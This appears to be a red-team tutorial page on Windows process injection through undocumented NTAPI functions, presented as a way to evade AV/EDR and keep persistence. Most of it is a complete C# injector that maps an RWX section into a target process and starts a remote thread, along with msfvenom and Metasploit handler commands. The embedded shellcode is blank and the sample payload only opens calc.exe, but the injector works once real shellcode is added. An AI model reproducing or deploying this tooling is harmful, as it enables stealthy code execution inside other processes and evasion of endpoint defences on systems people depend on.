Using NTAPI Undocumented Functions

Overview

Process injection is a technique used to inject code into a running process on a target machine. This can be done to evade AV/EDRs as well as maintaining persistence on a target machine.

This technique leverages the below low-level native APIs.

NtOpenProcess - Get a handle on remote proces

NtCreateSection - This function creates a new section object in the virtual address space of a process.

NtMapViewOfSection - This function maps a section object into the virtual address space of a process. This can be used to load a DLL into a process.

NtUnmapViewOfSection - This function unmaps a previously mapped section object from the virtual address space of a process.

NtClose - This function closes a handle to an object.

Use EXITFUNC=thread in msfvenom payload to not kill parent process on exit

Also setting it in multi/handler

msf6 exploit(multi/handler) > set exitfunc thread

Walkthrough

  1. Firstly, we will get a handle on both our local and the target remote thread.

  2. We then need to create a new RWX memory section.

  3. Map view of created section into the local process with (R-W) and map view of create section into the remote process with (R-E).

  4. Copy shellcode into the locally mapped view which will then be reflected on the remote process mapped view.

  5. Execute the shellcode in the remote process.

Example payload

msfvenom -a x64 --platform Windows -p windows/x64/exec CMD="C:\Windows\System32\calc.exe" -f csharp EXITFUNC=thread

Map view of created section into the remote process

Now we should be able to reflectively. copy our shellcode into the remote process.

We can verify this with Process Hacker 2:

Code example

using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading.Tasks;

namespace nt_PInject
{
    internal class Program
    {
        [StructLayout(LayoutKind.Sequential)]
        public struct UNICODE_STRING
        {
            public ushort Length;
            public ushort MaximumLength;
            public IntPtr Buffer;
        }

        [DllImport("ntdll.dll")]
        public static extern void RtlInitUnicodeString(
            ref UNICODE_STRING DestinationString,
            [MarshalAs(UnmanagedType.LPWStr)] string SourceString);

        static void InitializeObjectAttributes(
            ref OBJECT_ATTRIBUTES objAttr,
            ref UNICODE_STRING name,
            int attr,
            IntPtr root,
            IntPtr secDesc)
        {
            objAttr.Length = Marshal.SizeOf(typeof(OBJECT_ATTRIBUTES));
            objAttr.RootDirectory = root;
            objAttr.ObjectName = IntPtr.Zero;
            objAttr.Attributes = (uint)attr;
            objAttr.SecurityDescriptor = secDesc;
            objAttr.SecurityQualityOfService = IntPtr.Zero;
        }

        [DllImport("ntdll.dll", SetLastError = true)]
        static extern uint NtOpenProcess(
            ref IntPtr ProcessHandle,
            UInt32 AccessMask,
            ref OBJECT_ATTRIBUTES ObjectAttributes,
            ref CLIENT_ID ClientId);

        [StructLayout(LayoutKind.Sequential, Pack = 0)]
        struct OBJECT_ATTRIBUTES
        {
            public Int32 Length;
            public IntPtr RootDirectory;
            public IntPtr ObjectName;
            public uint Attributes;
            public IntPtr SecurityDescriptor;
            public IntPtr SecurityQualityOfService;
        }

        [StructLayout(LayoutKind.Sequential)]
        struct CLIENT_ID
        {
            public IntPtr UniqueProcess;
            public IntPtr UniqueThread;
        }

        [DllImport("ntdll.dll", SetLastError = true, ExactSpelling = true)]
        static extern UInt32 NtCreateSection(
            ref IntPtr SectionHandle,
            UInt32 DesiredAccess,
            IntPtr ObjectAttributes,
            ref UInt32 MaximumSize,
            UInt32 SectionPageProtection,
            UInt32 AllocationAttributes,
            IntPtr FileHandle);

        [DllImport("ntdll.dll", SetLastError = true)]
        static extern uint NtMapViewOfSection(
            IntPtr SectionHandle,
            IntPtr ProcessHandle,
            ref IntPtr BaseAddress,
            UIntPtr ZeroBits,
            UIntPtr CommitSize,
            out ulong SectionOffset,
            out uint ViewSize,
            uint InheritDisposition,
            uint AllocationType,
            uint Win32Protect);

        [DllImport("ntdll.dll", SetLastError = true)]
        static extern IntPtr RtlCreateUserThread(
            IntPtr processHandle,
            IntPtr threadSecurity,
            bool createSuspended,
            Int32 stackZeroBits,
            IntPtr stackReserved,
            IntPtr stackCommit,
            IntPtr startAddress,
            IntPtr parameter,
            ref IntPtr threadHandle,
            IntPtr clientId);

        [DllImport("ntdll.dll", SetLastError = true)]
        static extern uint NtUnmapViewOfSection(
            IntPtr hProc,
            IntPtr baseAddr);

        [DllImport("ntdll.dll", ExactSpelling = true, SetLastError = false)]
        static extern int NtClose(
            IntPtr hObject);

        static void Main(string[] args)
        {
            //nt_PInject(args[0]);
            return;
        }

        private static void nt_PInject(string processname)
        {
            // shellcode
            byte[] buffer = new byte[296];

            int bufLength = buffer.Length;
            UInt32 ubufLength = (UInt32)bufLength;

            // get handle on local and remote process
            IntPtr localProcessHandle = Process.GetCurrentProcess().Handle;

            string targetProcess = processname;
            IntPtr remoteProcessHandle = IntPtr.Zero;
            UNICODE_STRING name = new UNICODE_STRING();
            RtlInitUnicodeString(ref name, null);
            OBJECT_ATTRIBUTES objAttr = new OBJECT_ATTRIBUTES();
            InitializeObjectAttributes(ref objAttr, ref name, 0, IntPtr.Zero, IntPtr.Zero);
            objAttr.ObjectName = name.Buffer;

            CLIENT_ID clientId = new CLIENT_ID
            {
                UniqueProcess = new IntPtr(Process.GetProcessesByName(targetProcess)[0].Id),
                UniqueThread = IntPtr.Zero
            };

            NtOpenProcess(ref remoteProcessHandle, (uint)ProcessAccessFlags.All, ref objAttr, ref clientId);

            // Creating new RWX memory section object
            IntPtr sectionHandle = IntPtr.Zero;
            NtCreateSection(ref sectionHandle, (uint)DesiredAccess.SECTION_MAP_READ | (uint)DesiredAccess.SECTION_MAP_WRITE | (uint)DesiredAccess.SECTION_MAP_EXECUTE, IntPtr.Zero, ref ubufLength, (uint)DesiredAccess.PAGE_EXECUTE_READWRITE, (uint)DesiredAccess.SEC_COMMIT, IntPtr.Zero);

            // Mapping view of create section into the local process (R-W)
            IntPtr localBaseAddress = IntPtr.Zero;
            ulong localSectionOffset = 0;
            NtMapViewOfSection(sectionHandle, localProcessHandle, ref localBaseAddress, UIntPtr.Zero, UIntPtr.Zero, out localSectionOffset, out ubufLength, 2, 0, (uint)DesiredAccess.PAGE_READ_WRITE);

            // Mapping view of created section into the remote process (R-E)
            IntPtr remoteBaseAddress = IntPtr.Zero;
            ulong remoteSectionOffset = 0;
            NtMapViewOfSection(sectionHandle, remoteProcessHandle, ref remoteBaseAddress, UIntPtr.Zero, UIntPtr.Zero, out remoteSectionOffset, out ubufLength, 2, 0, (uint)DesiredAccess.PAGE_READ_EXECUTE);
            Marshal.Copy(buffer, 0, localBaseAddress, bufLength);

            // Execute remote thread
            IntPtr threadHandle = IntPtr.Zero;
            RtlCreateUserThread(remoteProcessHandle, IntPtr.Zero, false, 0, IntPtr.Zero, IntPtr.Zero, remoteBaseAddress, IntPtr.Zero, ref threadHandle, IntPtr.Zero);

            // Cleaning up 
            NtUnmapViewOfSection(localProcessHandle, localBaseAddress);
            NtClose(sectionHandle);
        }

        [Flags]
        public enum ProcessAccessFlags : uint
        {
            All = 0x001F0FFF
        }

        public enum DesiredAccess : uint
        {
            SECTION_MAP_READ = 0x0004,
            SECTION_MAP_WRITE = 0x0002,
            SECTION_MAP_EXECUTE = 0x0008,
            PAGE_READ_WRITE = 0x04,
            PAGE_READ_EXECUTE = 0x20,
            PAGE_EXECUTE_READWRITE = 0x40,
            SEC_COMMIT = 0x8000000
        }
    }
}

Detection and AV

Detection on nt-PInject code without shellcode:

References

Last updated